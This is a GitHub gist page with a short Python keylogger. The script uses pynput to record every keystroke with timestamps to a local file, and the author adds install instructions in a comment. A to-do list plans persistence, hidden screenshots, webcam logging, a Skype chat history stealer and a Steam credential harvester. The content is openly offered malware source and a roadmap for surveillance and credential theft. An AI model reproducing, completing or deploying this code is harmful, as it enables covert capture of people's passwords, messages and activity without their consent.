Skip to content

Instantly share code, notes, and snippets.

@Ishaan28malik
Last active August 27, 2019 09:44
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save Ishaan28malik/66b4e828f7c83027f576c749fa034ccf to your computer and use it in GitHub Desktop.
Save Ishaan28malik/66b4e828f7c83027f576c749fa034ccf to your computer and use it in GitHub Desktop.
Python Projects
__  ____  ____   ____   ____   ____   ____   ____
  _              _
 | |            | |
 | | _____ _   _| | ___   __ _  __ _  ___ _ __
 | |/ / _ \ | | | |/ _ \ / _` |/ _` |/ _ \ '__|
 |   <  __/ |_| | | (_) | (_| | (_| |  __/ |
 |_|\_\___|\__, |_|\___/ \__, |\__, |\___|_|
            __/ |         __/ | __/ |
           |___/         |___/ |___/
__  ____  ____   ____   ____   ____   ____   ____
--> For windows only

____   ____   ____   ____   ____   ____   ____   ____   ____   ____   ____   ____
 _____ _     _                   _                             _
|_   _| |   (_)                 | |                           | |
  | | | |__  _ _ __   __ _ ___  | |_ ___   __      _____  _ __| | __   ___  _ __
  | | | '_ \| | '_ \ / _` / __| | __/ _ \  \ \ /\ / / _ \| '__| |/ /  / _ \| '_ \
  | | | | | | | | | | (_| \__ \ | || (_) |  \ V  V / (_) | |  |   <  | (_) | | | |
  \_/ |_| |_|_|_| |_|\__, |___/  \__\___/    \_/\_/ \___/|_|  |_|\_\  \___/|_| |_|
                      __/ |
                     |___/
____   ____   ____   ____   ____   ____   ____   ____   ____   ____   ____   ____

--> Persistance
--> Taking screenshots after a specific time. Making it keystrokes independent.
--> Webcam logging
--> Skype chat history stealer
--> Steam credential harvestor
from pynput.keyboard import Key, Listener
import logging
log_dir = ""
logging.basicConfig(filename=(log_dir + "key_log2.txt"), level=logging.DEBUG, format='%(asctime)s: %(message)s')
def on_press(key):
logging.info(str(key))
with Listener(on_press=on_press) as listener:
listener.join()
@Ishaan28malik
Copy link
Author

keylogger

for running this program you need to install pynput module

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment